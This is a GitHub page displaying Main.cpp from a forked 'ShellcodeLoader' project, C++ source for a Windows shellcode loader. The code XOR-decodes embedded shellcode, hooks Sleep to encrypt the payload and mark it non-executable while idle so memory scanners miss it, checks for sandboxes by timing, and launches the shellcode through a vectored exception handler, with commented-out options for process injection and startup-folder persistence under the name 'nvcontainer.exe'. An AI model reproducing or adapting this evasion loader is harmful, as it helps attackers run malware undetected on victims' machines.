forked from j5s/ShellcodeLoader
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMain.cpp
More file actions
76 lines (58 loc) · 1.39 KB
/
Copy pathMain.cpp
File metadata and controls
76 lines (58 loc) · 1.39 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include<stdio.h>
#include<Windows.h>
#include"CodeInject.h"
#include"AutoRun.h"
#include"AntiSandbox.h"
#include"Loader.h"
#include"shellcode.h"
#include"MyHook.h"
void XORrecoder(unsigned char* buffer)
{
for (size_t i = 0; i < size; i++)
{
#ifdef ENCODE
buffer[i] ^= KEY;
printf("0x%02x,", buffer[i]);
#endif
buffer[i] ^= KEY;
//printf("0x%02x,", shellcode[i]);
}
putchar('\n');
}
CInlineHook MyHookObj;
VOID WINAPI DetourSleep(_In_ DWORD dwMilliseconds)
{
DWORD OldProtect = 0;
MyHookObj.UnHook64();
XORrecoder(shellcode);
VirtualProtect(shellcode, 0x1000, PAGE_NOACCESS, &OldProtect);
Sleep(dwMilliseconds);
VirtualProtect(shellcode, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect);
XORrecoder(shellcode);
MyHookObj.ReHook64();
}
void delay()
{
for (register int i = 0; i < 0xFFFFFF*5; ++i)
Sleep(0);
}
int main()
{
#ifdef ENCODE
XORrecoder(shellcode);
#else
//AutoRun::StartUpFloderAutoRun(NULL, MyName); //×ÔÆô¶¯
//CHAR MyName[MAX_PATH] = "nvcontainer.exe";
//AntiSandbox::AntiSandboxByName(MyName);
AntiSandbox::AntiSandboxByRuntime();
delay();
MyHookObj.Hook64("KERNEL32.DLL", "Sleep", (PROC)DetourSleep);
XORrecoder(shellcode);
//Loader::RunShellCode_1(shellcode);
//Loader::RunShellCode_2(shellcode);
//Loader::InjectShellCode_1(shellcode);
//Loader::CertEnumSystemStoreCallbackRunShellcode(shellcode);
Loader::VehRunShellcode(shellcode);
#endif
return 0;
}